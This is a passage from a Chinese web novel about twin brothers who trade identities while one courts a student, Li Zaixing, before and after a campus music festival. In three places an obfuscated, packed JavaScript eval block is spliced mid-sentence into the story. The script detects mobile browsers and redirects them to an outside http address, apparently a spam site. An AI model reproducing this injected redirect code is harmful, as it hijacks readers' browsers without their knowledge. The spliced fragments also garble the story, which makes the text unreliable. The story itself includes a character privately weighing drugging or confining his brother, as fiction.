拒绝了张皓又一次打着聚餐名头的联谊,季行月一下课就回了出租屋,才打开玄关门,就闻到空气里弥漫着的饭菜咸香。 季舒阳只有在心情很好的时候会下厨,他又和李再星发生了什么事,让他这么高兴? 季行月莫名地更烦,臭着脸进屋,瞥见厨房里女人的背影,阴沉的表情顿时变错愕。 烦恼抛到脑后,他欣喜走过去,“妈,您怎么来了?” 秋丽在厨房里忙活,没回头,光听语气就知道是让人操心的小儿子,“我来突击检查,你过来,我有话问你。” 季行月听话走过去,嬉皮笑脸问:“什么事啊,秋女士。” 下一秒,耳朵被秋丽揪住。 秋丽兴师问罪,“你老实交代,是不是又开始抽烟了?” 季行月疼得哎哟叫,被迫弯着腰配合她的身高,莫名其妙又很冤枉:“我什么时候抽烟了?” “还说没有,那这是什么?”秋丽从口袋里拿出一个开了封的烟盒,“我刚给你收拾衣服的时候,从你外套里摸出来的。” “我哪件外套啊?” “那件燕麦色呢大衣!” “……” 该死,那是前几天他借给季舒阳穿的! 季舒阳的衣服一溜全是乌漆嘛黑,为了不让李再星发现异样,季舒阳每次去见李再星,都会穿他的衣服。 季行月气得哼哧喘粗气,“这不是我的烟,是季舒阳——哎哟哎哟!妈,疼!” 还没等他说完,秋丽揪他耳朵的力气更大了,“疼就对了,做错事就好好认错,非犟什么嘴,你哥是会吸烟的人吗?” 这种事情无论经历多少次,他们都会站在季舒阳那边。 季行月没了辩解的力气,再反抗也只会让耳朵更疼,“我错了,是我的烟,我再也不吸了。” 秋丽这才松手,“好在这次是我发现的,要是你爸,竹条子早抽身上了。” 他们家对吸烟这事管得很严。 他们的叔叔,二十几岁时就肺癌去世,主要诱因就是吸烟。 此后,季良鹏就十分避讳吸烟,不仅自己戒烟,也几次三番勒令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484294|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个儿子绝不能沾这东西。 因为被发现烟盒而挨竹条这事也不是第一次,季行月小声嘀咕,“我真该跟窦娥姓。” 秋丽没听清,也猜得出他是在不服气抱怨,“有时间在这嘀咕,去给你爷爷打个电话,上次你没去他寿宴,好好跟老爷子道个歉。” 季行月不乐意,“您又不是不知道,爷爷看见我就来气。” “是看你那一身花里胡哨的衣服和头发来气。” 看他无动于衷的模样,秋丽无奈道:“老人家是保守了点,你一年也跟他见不了几次面,就不能在这几次的时候顺着他心意吗?” 季行月扯了扯唇,他不管做什么都顺不了爷爷的心意,和穿着打扮无关,只因为他不是季舒阳。 心里是这么想,为了耳朵不挨揪,嘴上还是得应付下,“好好好,我下次一定。” 秋丽一听就知道他是在敷衍,“别只耍嘴皮子,亏得你哥在他面前帮你说好话。” 季行月愣了愣,“他说什么了?” 秋丽:“说你没去成寿宴是参加了学校的活动,跟同学忙着练习脱不开身,还说你们俩送的寿礼是你精心挑的,他只是出了一半的钱。” 季行月差点跳起来,整张脸都涨红,“他说这些做什么!” 秋丽:“你哥平时不爱说话,这一开口,说的全是你的好话,没课的时候找个时间去跟你爷爷吃顿饭,别白费了他的口舌。” 季行月没说好也没说不好,捂着脸蹲在地上,一米八几的大高个缩成一团,像小孩子一样闹脾气,“烦死了,他多管什么闲事!” 秋丽今天说是来突击检查,其实是来给季行月做思想工作的,思想工作做完了,饭也顺便做完了,没留多久就回家了,也没跟他们一起吃。 饭菜摆在餐桌上,季行月没先吃,在客厅玩手机等到季舒阳回来。 见人进屋,他开口即是埋怨,“再晚一点,菜都成隔夜了。” 季舒阳不慌不忙将换下的鞋放进鞋柜,摆整齐,拎着手里的药店便利袋进了屋,同样不客气地回怼,“你自己不会先吃,等着我试毒?” “……” 季行月磨了磨牙,把烟盒朝他丢过去,“你个烟鬼能不能长点记性,每次都是我给你背锅。” 他瞄准了季舒阳的脑袋砸过去,奈何后者眼疾手快,精准接住。 “下次我会注意。” 季舒阳语气很淡,说是下次会注意,但听不出什么愧疚的意思。 季行月信他才有鬼,但也没多计较什么。 两人一个去洗手拿筷子一个拿碗去盛饭,在餐桌旁落座后,季行月冷不丁开口:“妈跟我说了。” 季舒阳置若罔闻吃着饭,也不开口问问说了什么。 季行月只得自己接着说,“你干嘛在爷爷面前给我说好话?” “我只是说了实话。” “你的实话让你自己也被爷爷说了一顿。” “说了又不会掉块肉。” 季舒阳全程滴水不漏,表情也从始至终都很冷淡。 季行月啧了声,跟他聊天就跟挤快用完的牙膏一样让人不爽。 瞧瞧这理直气壮厚脸皮的样子,季行月冷哼,“怎么说你都占理。” 兄弟俩的对话结束得很突然,也很自然,餐桌上只剩筷子偶尔碰触到陶瓷碗的叮当声。 快吃完时,季行月忽然轻咳了声,不太自然地开口:“周六我要去看爷爷,不一定能赶回来。” 听他这么说,季舒阳并未表露出惊讶,只是淡声提醒:“这周六是音乐艺术节。” 季行月啧了声,为他的一根筋而无语,“所以让你这个替补上啊。” 季舒阳动作一顿。 “还没吃完的人洗碗。” 不希望被他多问原因,季行月说完就放下筷子离席,走了几步又停下,转过身恶声恶气威胁:“你要是上台跑调,坏了我的名声,我就把你小时候的女装照投表白墙!” 季舒阳没吭声,只目送着他别别扭扭地回了房。 房门关上,他收回视线,独坐在餐厅,敛着眉眼,薄唇缓缓勾出弧度。 让秋丽今天来这一趟果然没错,如他所料,秋丽肯定会提及季行月上次没去爷爷寿宴的事,多少也会提到他在爷爷面前给季行月说好话这件事。 而最不愿意欠人情的季行月,会因为这件事心软动摇,让出机会还他人情。 这是最温和的处理方式。 就算这招没奏效,他也留有后招,打晕、软禁、下药,办法多得多。季行月该庆幸自己及时退出,免受了□□之苦。 一起参加艺术节,是他答应李再星的事。 她想做的事,想跟他一起做的事,无论如何,他都会去做。 即便用尽心机,不择手段。 季舒阳起身,将刚拎回家的泻药丢进垃圾桶。 15. 第 15 章 音乐艺术节前一天,青安市下起了今年的第一场雪。 鹅毛似的雪洋洋洒洒落了一天一夜,道路两旁的景观树丛覆上一层雪白。 骤降的气温,并不耽误期盼已久的音乐艺术节如期举行。 周六下午,空气的温度愈冰冷,礼堂的气氛愈热烈。 气氛越热烈,李再星的心情越忐忑。 明明去年的艺术节阵势并不大,今年却凭空冒出这么多才艺惊人的能人,一个个准备的节目隆重又正式,仿佛马上就要去出道。 其中原因,李再星大概是知道的。 学校为了刺激大家积极参加,今年的艺术节前三名除了奖状还会发奖金,数额还不低。 钱是最实在的嘉奖,尤其是对最不缺时间精力唯独缺钱的大学生。 热情空前高涨,无论台上台下,幕前幕后,快活又热闹。 在这吵闹嘈杂的环境中,安静待着的季舒阳就显得有些格格不入。 李再星第N次从洗手间回来时,远远看见他一个人站在后台候场。 马上就要上台,他已经脱下冬季外套,身上穿着搭配表演曲目和她一套的绀色西式制服。 少年的骨架高大挺拔,又因为削瘦而显得单薄,窄腰之下,一双腿笔直又修长。 染成灰棕的发色衬得皮肤愈发的白,为没带任何表情的清俊眉眼添了几分冷感。 仅仅只是站在那,就惹眼得过分。 也难怪李再星在洗手间都能听到关于他的议论。 李再星平时不关注学校里的八卦,连学校表白墙都是当初要捞人的时候临时去加的。 不光是她,502宿舍的几个人,要么沉迷小说,要么只关注吃和减肥,中文系本系的八卦都知道得少之甚少,更别说远在南校的经管系。 所以,今天之前,李再星完全低估了季行月的人气。 而这几趟跑洗手间的工夫,几乎每一趟都在隔间里听到季行月的名字。经管系的系草,人气王,有哪些个女生都想追他。 李再星听得嘴巴张大,再张大。 原来我crush的竟然是这么个风云人物吗?这些形容会不会太夸张了点? 但放在季行月身上,也确实一点都没夸大。 抛开洗手间里听到的那些议论,她再迟钝,今天也感受到不少落在她的探究视线。 很难不压力山大。 前台的掌声拉回李再星的思绪,她朝那边的男生小跑过去,“是不是马上要到我们了?” 每表演完一个节目,她都得问一遍。季舒阳也不厌其烦地回答,“嗯,下一场就是。” 话音刚落,主持人在台上报幕:“在这个初雪的日子,我们依旧怀念那个阳光明媚的午后,故事的小黄花,童年的荡秋千,那个纯真美好的少年时代。有请季行月、李再星为我们带来一首《晴天》!” 只是季行月这个名字刚被说出来,台下立刻响起震耳欲聋的尖叫。 李再星在后台都被吓得一激灵,一边忙不迭地脱外套,一边碎碎念:“别紧张别紧张,当成KTV就好,之前说要拿头奖都是开玩笑的,结果不重要,我们只享受过程就好,嗯,别在意别人……” 她一个劲地碎碎念,也不知是在鼓励季舒阳还是在安慰自己,发抖的声音也不知是因为寒冷还是因为紧张。 一只手忽然伸到她面前。 修长的手指微微弯曲着,掌心朝上,像是一种邀请。 “我的手很暖和。” 李再星听见他是这么说的。 脑子一片空白。 不是没和他握过手,但是第一次被邀请牵手。 李再星盯着他骨节分明的手指,指尖轻轻放上去,仅仅只是触碰,即刻就被回握。 不似手背皮肤细腻的掌心,毫无迟疑地包裹住她,如他所说,很温暖。 忐忑焦躁的心脏莫名笼上了几分安全感,却似乎比刚才跳得更快。 李再星不由看向他,未料对方也在看着自己。 唇角微弯,眼尾染着笑意。 只这样一抹浅笑,就让她心跳如擂鼓。 没来由地,李再星忽然很想知道,他此刻的心跳,是否也跟她一样? 但她来不及求证,前台的帷幕已经拉开。 呼声四起,又渐归于平静。 表演开始了。 …… 音乐艺术节在渐大的雪势中完美落幕,从白天到傍晚,路上的积雪堆厚了一层,一踩一个脚印。 这次的竞争有够激烈,李再星在台上因为紧张,也没太能压住场子,痛失前三。但也不是完全没有收获,托季舒阳的福,他们这个节目拿到了人气奖。 这次的音乐艺术节,李再星本就醉翁之意不在酒,无论有没有奖,都不耽误她今天的满足和兴奋。 落幕散场刚好是晚饭时间,校园广播里正在放着一首很符合初雪气氛的抒情歌。无论是表演的同学还是观众,都陆陆续续去往食堂。 李再星和季舒阳同样往食堂方向走。举办艺术节的礼堂位置偏僻,他们又走得晚,这会儿这条路上已经没几个人。 雪还在下,他们共撑一把伞,并肩走在积雪未化的路上。 季舒阳冷不丁出声询问:“你今天过得开心吗?” 李再星几乎条件反射,忙不迭地点头:“当然开心!超级开心!” 季舒阳弯了弯眼睛,“我也是,很开心。” 他尾音微微上扬,带着明显的愉悦。 这份愉悦也愈发感染了李再星,心里像沾了蜜。 不约而同地,谁都没再说话,只是无声地翘着嘴角,默契享受这甜滋滋的宁静,偶尔抿一抿嘴唇,以防它翘得太高,泄露心绪。 安静的空气里,一时间只有挨在一块的羽绒服外套的摩擦声。 直到李再星的手机突然涌进许多消息,响了一声又一声,打破这片刻宁静。 李再星无奈,从兜里拿出手机。 果不其然是室友们在宿舍群里狂嗨调侃。 关柔活像个站姐,发了一堆两人在台上的照片,末了霸气表示:结婚照,拿走不谢。 王佳佳则是发了条表白墙投稿的链接:我的星,你火了。 链接名字:吃狗粮的下雪天,来听首最甜《晴天》 李再星点进链接看了眼,居然是她和季行月在台上唱歌的视频。 另一个当事人就在旁边,她这会儿也没戴耳机,自然不好马上点进去看,于是往下翻了翻评论。 [啊啊啊这不是经管系的季行月吗?他竟然参加了音艺节!该死,没去错亿!] [真错亿的难道不是人家已经有女朋友了吗?呜呜呜小姐姐长得好甜啊,人美歌甜真般配TT] [可恶的小情侣,我才不吃这狗粮!] 李再星被评论里的夸奖和误会弄得脸热,虽然私底下在宿舍各种嘴嗨,但现在这是公共平台,浏览量分分钟上完的表白墙,这么多人看着…… 害羞归害羞,李再星的手指还是不受控制地继续往下滑: [你们怎么都说这是季行月?我怎么看着像另一个?] [楼上想多了,会抛头露脸上台表演的必然是经管系的系草,怎么可能是计算机系的那位。] 李再星疑惑地看着这两条评论。 另一个是什么意思?计算机系的那位又是在说谁? 她正要继续往下看,脚下忽地一滑,差点摔倒之际,手臂一紧。 季舒阳及时扶住了她,缓声提醒:“地上有积雪,小心路滑。” 李再星连忙把手机息屏,塞回口袋。 不好意思跟他提两人被投稿表白墙的事,她把锅甩给嗷嗷待哺的室友们:“是我室友们在群里敲诈我,刚刚在回她们消息。” “敲诈?”季舒阳似不太理解她的措辞。 李再星解释:“她们帮了我一个大忙,让我请她们吃饭呢。” 季舒阳问:“你遇到什么麻烦了吗?我或许也可以帮你?” 顿了下,又补充:“不要报酬,也不用请吃饭。” 李再星被他这正经又好骗的模样逗笑,你要是知道是什么忙,就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484295|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会这么说了。 她眼珠子骨碌一转,忽然有了主意。 “好呀,”李再星顺势应了,“那你现在就帮我吧。” 她把手从口袋里伸出来,掌心朝上,摊到他面前,“我的手好冷。” 说这话时她带着调戏意味,想让他再牵自己的手。 却没料被她调戏的人正义凛然,抬了抬撑伞这只手的手肘,一本正经地示意她自己插兜里去:“我的兜里很暖和。” 李再星:“……” 等等,这和她想的不一样啊。 上台前那么自然地牵手呢? 怎么才过了几个小时,这待遇就不一样了? 李再星既无语又郁闷。 正这时,忽听他低声说了句:“我打着伞,不方便。” 她一时没转过弯来,下意识看向季舒阳,抬眼的目光所及,却是他通红的耳根,也不知是被冷风吹红的,还是其他原因。 李再星更偏向后者。 因为他此刻的表情,同那日在地铁上一模一样。 广播里的歌结束了最后一个节拍,短暂空档后,接着播放的是一首耳熟能详的中文歌,恰好是他们今天所表演的《晴天》。 李再星彻底明白了王佳佳的那句话。 心动,暧昧,粉红泡泡,那一瞬间是什么样的感觉。 就像是一直吹大的泡泡糖突然炸破,随机播放到最喜欢的歌曲,伸出去的手刚好接住落下的第一片雪花,看着它在掌心慢慢融化。 毫无准备,有惊有喜。 惊喜之后,是莫大的满足。 李再星蓦地停下脚步。 毫无准备,脱口而出: “季行月,我们交往吧。” 话音落下的瞬间,两个人的脸色均是一变。 季舒阳浑身一震,撑伞的手陡然一松,雨伞落了地,路灯的灯光落在身上,照得他脸色惨白。 李再星则是意识到自己不过脑子跳过了太多步骤,倒吸一口凉气后,赶紧亡羊补牢:“这个这个……那个那个……我我我的意思是你人真的很好,性、性格很好,心肠也好,还还还帮了我很多次,我……我……你……” 她越说越磕巴,也越说也心急,视线在各处飘忽不定,就是不敢看他。 季舒阳垂着眼,一言不发望着这样心急如焚的她,半张脸湮没在路灯的阴影中。 萧瑟寒冷的夜风刮在脸上如同刀割,她清脆的声音和广播里的歌声撞在一起,每一个字都像是一根针,比冷风更锋利,笔直地刺向他。 机关算尽,他以为自己终于如意,同她一起完成了她想做的事,如愿让她开心。 却在这天的末尾,她最开心的时刻,亲耳听见她对另一人告白。 她的告白有多急切,感情有多真挚,于他就有多尖锐。 为什么? 为什么偏偏是季行月? 为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么…… 李再星磕磕绊绊说了一堆废话,越说越觉得自己重点偏到了天南海北,不像是告白,更像是发好人卡。 一步错步步错,一半的脑子在骂自己,死嘴快说啊;一半的脑子在骂自己,这死嘴,到底在说什么啊? 她急得不得了,到最后,索性不管不顾豁出去了! “哎呀不管了,你只听这一句就好!” 李再星低头紧闭着眼睛给出一记直球:“季行月,我喜欢你!是想和你恋爱的那种喜欢!” 告白总算结束,她仿佛刚跑完一场八百米,气息不稳地喘着粗气。 稍微平复了呼吸,李再星忐忑地抬头,想瞄一眼他的反应。 却在抬头的瞬间,望进一双黯淡湿润的眼睛里。 他看着她。 睫毛轻颤,眼里的悲伤无处可藏。 雪洋洋洒洒从天而降,落在他肩头。 同她对视的少年,眼睛骤然落下雨。 16.第 16 章 雪夜的梧桐道,光线格外暗沉,季舒阳就这么站在原地,失去光彩的眼睛,毫无征兆落下眼泪。 一瞬间,李再星完全慌了,不知所措。 怎么、怎么会突然哭了? 难道是她的告白太冒犯了? “抱歉,我能先走吗?” 季舒阳也意识到自己的失态,狼狈撇开眼睛。 他弯腰捡起落在地上的伞,抓着她的手让她自己撑着,没等她回应,就转身往相反的方向离开。 李再星大脑短了路,根本不知道发生了什么。 等她回过神时,季舒阳已经不见身影。 李再星呆呆撑伞楞在原地,望着季舒阳离开的方向,除了六神无主,还是六神无主。 妈妈,栀子,502的姐妹们,我的恋爱,好像完蛋了。 “哈哈哈哈哈呕——” 远在一千多公里外的韩栀子,得知这事的第一反应,是笑到干呕。 李再星实在是懵逼又郁闷,晚饭也顾不上吃,直接回宿舍,这会儿还在回宿舍的路上,就给韩栀子打了这个电话哭诉。 损友的幸灾乐祸成功让她把郁闷变成迁怒,“你再笑一声,信不信我明天就飞去江都揍你。” “行啊,咱们也几个月没见了,你来呗,要不要我给你报销机票?” 她的威胁对韩栀子完全不起作用,不过韩栀子也没有只是嘲笑,稍微正经了点,说:“你不是说你们最近气氛很好吗,这时候告白也算顺理成章。他哭是他的问题,估计以前受过什么情伤吧,对告白PTSD。” 李再星:“他以前不是在明礼吗,都在明礼了怎么会谈恋爱?” 韩栀子:“明礼只是管得严又不是断了情根,肯定有偷摸着谈的,要不要我帮你打听打听?” 李再星太知道韩栀子高中是什么德行,两耳不闻窗外事这形容都算保守,韩栀子只关注她那个稳坐年级第一的班长,至于其他人,连脸和名字都对不上号。 她不相信韩栀子有这种人脉,“你打听得到?” 韩栀子不以为然,“八卦这种东西最好打听了,别说情史,他家住哪家里几号人都能给你问出来,只要钱给到位就行。对了,地铁男叫什么名字来着?” 平时总是地铁男地铁男的称呼,就算李再星跟她说过名字,也转头就忘了。 李再星越发觉得不靠谱:“还要花钱?” 韩栀子:“当然是你请我吃饭的钱。” 李再星:“……” 真正的损友,不仅在你受难时幸灾乐祸,还要乘人之危搞敲诈。 李再星最终还是没让韩栀子去打听,倒不是舍不得请韩栀子吃饭,只是觉得这么打听人家不太好,得尊重人家的隐私。 她高中因为父亲出轨父母离婚,被人说过不少闲话,所以很清楚被说闲话的难受。 如果明礼真有什么关于季行月的情史八卦,说明他曾经的痛苦被人当作闲话家常,那就更不该去触碰了。 不过,就这么坐以待毙,也不是李再星的风格。 思前想后,李再星还是点开了季行月的微信。 …… 季行月在返校的地铁上收到张皓发来的一连串消息。 -你小子可以啊,这些天怎么喊你都喊不出来,原来是背着我去追妹子了! -藏得这么严实,这可真不够意思的。 -今天出了这么大一风头,可得请兄弟吃顿好的,带上弟妹啊。 什么弟妹?这傻逼讲什么屁话? 季行月今天在老爷子那当了一天的孙子,原本就憋屈得慌,看到这几条消息只觉莫名其妙,没一丁点想搭理他的心情。 正要把手机关了,张皓又发来一条表白墙的投稿链接,赫然是李再星今天和季舒阳上台表演的视频。 季行月按在息屏键的拇指一顿,戴上耳机点进去。 黑漆漆的舞台,冷白的追光先打在季舒阳身上。 他抱着吉他坐在那,黑发被灯光镀了层金色,显得蓬松柔软。 鼻挺唇薄,目如朗星,绀色制服完美勾勒颀长身形,斯文又帅气。 季舒阳微微低头,修长的手指拨弄琴弦,晴天的前奏自他指尖飞出,流畅动听的旋律,让人难以相信一个多月前,他还是个从没摸过吉他的外行。 季行月并不意外地扯了扯嘴角,弹得还不赖嘛,果然是季舒阳,做什么都能成功。 伴随着前奏的结束,另一束追光落在旁边坐着的李再星身上。 她穿着和季舒阳相搭配的西式制服,乌发披肩,唇红齿白,绀色裙摆下的两条腿纤细笔直,皮肤在冷色的追光下白得几近透明。 季行月挑了挑眉,一定是舞台灯光的缘故,他竟然觉得小土豆今天还挺漂亮的。 抛开穿得太少被冻着的原因,李再星应该是有些紧张,刚出声唱时的声线有些抖,肢体和表情也都僵硬,比起平时的她,倒是显得多了几分乖巧。 就在她发挥不佳时,季舒阳在副歌合唱之前突然加入。 虽然是计划之外,但他处理得很自然,就连练习过的季行月也看不出突兀。 而李再星,一闪而过的惊讶后,意识到季舒阳是在帮她消解紧张,她的表情渐渐缓和,声线也渐渐恢复平稳。 “从前从前 有个人爱你很久 但偏偏 风渐渐 把距离吹得好远。” 唱至副歌,季舒阳偏头看向李再星,眸光流转。 两人的视线在空中相撞,李再星蓦然一笑,明眸皓齿,双颊笑纹浅浅浮现。 就像黑白影画一瞬染上缤纷颜色,也像阴沉的天骤然云开雾散,流光溢彩。 分明是季行月很熟悉的傻笑,这一瞬间,他却挪不开目光。 耳机里传来视频拍摄者激动的尖叫,聒噪地叫嚣着什么情侣什么好甜。 季行月紧盯着舞台上相视而笑的两人,原本看热闹的心情忽然沉重起来,内心深处,某种情绪像发酵过度,酸胀梗塞。 他实在难以形容这种感觉,也不知缘由。 视频播放不到一半,季行月突然看不下去,以最快的退出方式,直接清掉q|q的后台,关掉手机。 漂亮个屁! 季行月臭着脸摘下耳机,小声嘀咕:“笑得真傻。” 怀着郁闷的心情回到出租屋时,季行月的手机又响了两声。 这次是李再星发来的微信: -是我说的话太唐突了吗? -如果冒犯到你了,我先道歉QAQ 季行月一头雾水。 这话肯定不是对他说的,可李再星为什么突然对季舒阳道歉?她说什么冒犯人的话了? 李再星只是道歉,请求再见一面,却没说具体事情,季行月也不好在微信里直接问她,不然要泄露身份。 他走到季舒阳房间门前,敲了敲门,“回来了吗?” 里面没人回应。 季行月在微信里给季舒阳发了个1,房间里立刻传来手机消息提示音。 丝毫不意外,但还是生气。季行月一把打开门,“靠,你明明在家还不应我!” 房间里没开灯,窗帘还拉着,光线昏暗,只模糊看见蜷缩在床上的人影,背对着房门。 季行月一愣,“睡这么早?” 季舒阳没吭声,不知是没睡还是刚被吵醒,季行月眼看着他把被子扯过头顶,一副神鬼不理的模样。 季行月管他睡没睡,站在门口问:“你和李再星发生什么了?” 季舒阳依旧没吭声。 这两人一个打哑谜一个当哑巴,季行月失了耐心,有些生气道:“说好的配合呢,不然我明天直接见她,要是露馅了我可不管啊!” 蜷在被子里当乌龟的人终于有了动静,不过也只是把头从被子里露出来,“你们明天要见面?” 他的声音沙哑至极,带着浓重的鼻音,让季行月都有些惊讶,“你今天上台穿太少,感冒了?” 季舒阳没回他这问题,固执地继续问:“你们约在哪见面?” “还没定呢,正聊着。” 季行月一边回答,一边在脑子里盘算哪家店还没和李再星吃过,忽听季舒阳说,“请她到家里来吧,我会把饭做好。” 季行月有些意外,之前在KTV练歌,还警惕他会对李再星做什么坏事,现在倒放心让他跟李再星孤男寡女待在家里。 还又要下厨做饭,估计是实现了和李再星一起上台表演的愿望,这会儿高兴到不知东南西北了。 既然季舒阳想下厨,不吃白不吃。 “行,我约她来家里,你明天记得提前走啊。” 季行月说完就要退出房间,关门时又忽然想起自己忘了正事,关门动作一顿,“不对啊,你跟她到底发生什么了,你还没说呢!” 床上的人又一次把被子扯过头顶,完全没有再搭理他的意思。 季行月被这不配合的态度气得磨牙,明明这场局一开始是他提议也是他主导的,怎么现在反而他变成了被用完就扔的工具人? 不过,既然是李再星道歉,那应该是李再星做错了什么事,明天见到她,他要狠狠替季舒阳原谅她,让季舒阳一个人去郁闷。 这么想着,季行月忽然自洽了,回房间给李再星回了消息,约她明天来家里见面。李再星立刻秒回答应。 被她这副做错事的殷勤态度讨好到,季行月哼笑了声,摸了摸脸,这两天皮肤感觉有点干,待会儿敷个面膜吧。 他放下手机,给季舒阳冲了杯感冒冲剂,哼着歌去洗澡。 郁闷一天的心情陡然变好,季行月今晚做的梦也是香甜的。 依旧是那首练习了数次无比熟悉的《晴天》,台下观众依旧激动欢呼,但舞台上那个弹吉他的人不再是季舒阳,而变成了他。 冷白的追光中,他同一齐在台上表演的女生相视一笑。 不知不觉,《晴天》的曲调被庄重而抒情的《婚礼进行曲》取代,漆黑的舞台变成洁白神圣的仪式台,台下的观众也变成他熟悉的亲朋好友,满面笑容注视着他。 而他身上的绀色制服换成了白色西服,身旁女生的制服裙也换成一袭白色婚纱,梦幻而朦胧。 无论是方才在舞台上表演,还是此刻并肩站在仪式台,女生的面容始终模糊。 季行月微微眯起眼,想弄清楚新娘是谁,却怎么也看不清她的脸。 唯一真切的,是交换戒指时,握住他的那只小手,凉冰冰又软趴趴,像绵软的豆腐。 这触感很熟悉,季行月却一时想不起来在哪里触碰过。 但这并不耽误他对这场婚礼的享受,大概是气氛使然,即便有些不明所以,心里也不受控制地雀跃。 然而,就在他即将要和新娘接吻时,突然间,台下的宾客都消失不见,只剩下一个季舒阳,面无表情直勾勾地盯着他。 看见他的瞬间,季行月下意识把新娘护在身后,并不清楚自己这么做的含义,只是潜意识在警惕对方来抢婚。 季舒阳眼神阴鸷,周身的低气压具现化成团团黑气,弥漫整个婚宴现场。 如同刚从地狱里爬出的恶鬼,他阴森森地开口:“为什么?” 季行月一头雾水,“什么为什么?” 季舒阳没作回答,只是不依不挠地质问:“为什么是你?” 一声声质问的同时,他如同分裂一般,一个变两个,两个变四个,越来越多的季舒阳朝他围过来,不停地质问。 “为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么?为什么……” 瞬息之间,美梦变噩梦。 季行月如同被人掐住心脏,越来越喘不过气。 几近窒息时,他猛地闭上眼睛。 现实里的他,也几乎是同时,唰地掀开眼皮,挣扎逃脱了梦境。 季行月哼哧哼哧地喘着粗气,胸口沉重未消。 心有余悸时,忽觉一道目光落在自己身上,如同吐着蛇信的蛇缠绕在身上,阴冷而黏稠。 季行月下意识朝那边扭头,瞥见床边的黑影,魂都差点被吓飞。 “啊我操!什么——”东西?! “嘭!” 季行月被吓得连人带被子、以及压在被子上的几本书都摔在了床下。 他没空去在意这凭空多出的几本书,第一时间爬起来打开床头灯,看见那边的人果然是季舒阳。 他站在床边,就如同季行月梦里的那样,脸上没有任何表情,眼神直勾勾地盯过来。 不知是光线原因还是其他,他眼角似乎泛着不正常的红。 季行月脑子里闪过一万句脏话,憋了半天挑不出骂哪一句才能解气。 “你大半夜不睡觉装什么鬼啊,心脏病都要被你吓出来了!” 不管是他被吓到大爆粗口还是摔到床下,季舒阳始终岿然不动,这会儿也十分平静,语气甚至理直气壮:“我敲了门,你没应。” ……他爹的睡过去的人怎么回应啊,下次他一定要锁门! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487512|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季行月再次咽下一万句脏话,“你有什么急事,非得大半夜来找我?” 季舒阳紧闭着嘴唇,沉默了很久,就在季行月没耐心要赶人的时候,他忽然开口:“你喜欢李再星吗?” 季行月愣了一秒,深吸很长一口气才勉强压住自己的火气,还是气得声音发抖,“你你你大半夜守在我床边就为了问这?这是什么十万火急的事吗?等到明天再问会、死、吗???” 话到最后已经是咬牙切齿。 他的怒火蓄势待发,季舒阳视若无睹,只坚持要得到答案,“喜欢还是不喜欢?” 知道这家伙不达目的就誓不罢休,季行月不耐烦地抓乱头发,“废话,当然不喜欢啊!我的女神可是工藤静香!” 季舒阳深深地看着他,像是探究他这话的真实程度。 两人大眼瞪小眼僵持了几秒,得到确认,季舒阳转身打开他的衣柜,很不客气地拿了几件衣服后,转身就走。 离开之前,阴森森丢下一句,“说谎的人吞一千根针。” 季行月:“……” 这么幼稚的诅咒,当他还是三岁小孩吗? 季行月捡起被子,泄愤般丢回床上,忽地看见地上散落的几本的书。 这不是他放在书桌上的教材吗,怎么掉这来了? 记忆闪回刚才摔床下时的画面和声音,季行月猛地反应过来。 难怪他睡到一半觉得胸口闷得慌,喘不过气,敢情是季舒阳这家伙故意拿了几本书压在他身上,还专门挑了几本最厚实的。 几秒钟的沉寂之后,愤怒的咆哮拔地而起。 “季舒阳!你这孙子该吞一万根针!” …… 李再星坐如针毡。 这是她第二次来季行月家,心理负担却一点也不比第一次小。 她实在想不通季行月昨晚的反应,以为自己被拒绝了,就在她道歉后提出再见一面时,对方却很爽快地答应了,还请她去他家吃饭。 正常来说,被没有好感或者讨厌的人告白后,只会想着拒绝后撇清关系远离,而不是反而把人请到家里做客,还口口声声说要给她做好吃的。 李再星被季行月这矛盾的操作搞得糊涂,不光她糊涂,被她转述告知前因后果的几个室友也都糊涂,就连最有恋爱经验的许曼也看不懂这操作。 许曼昨晚直骂季行月有病,让她换个crush,关柔欲言又止,连只关心自己有没有饭吃的王佳佳都同情到要请她去吃饭。 但最终,李再星今天还是来赴约了。 她是为昨晚的事来摊牌的,来时想着,破釜沉舟再告白一次,大不了就被直接拒绝。 退一万步来说,就算尴尬到做不了朋友,也没什么好遗憾的,她原本也没想和他当单纯朋友相处。 但刚才季行月躲闪的反应,让李再星立刻踟蹰。 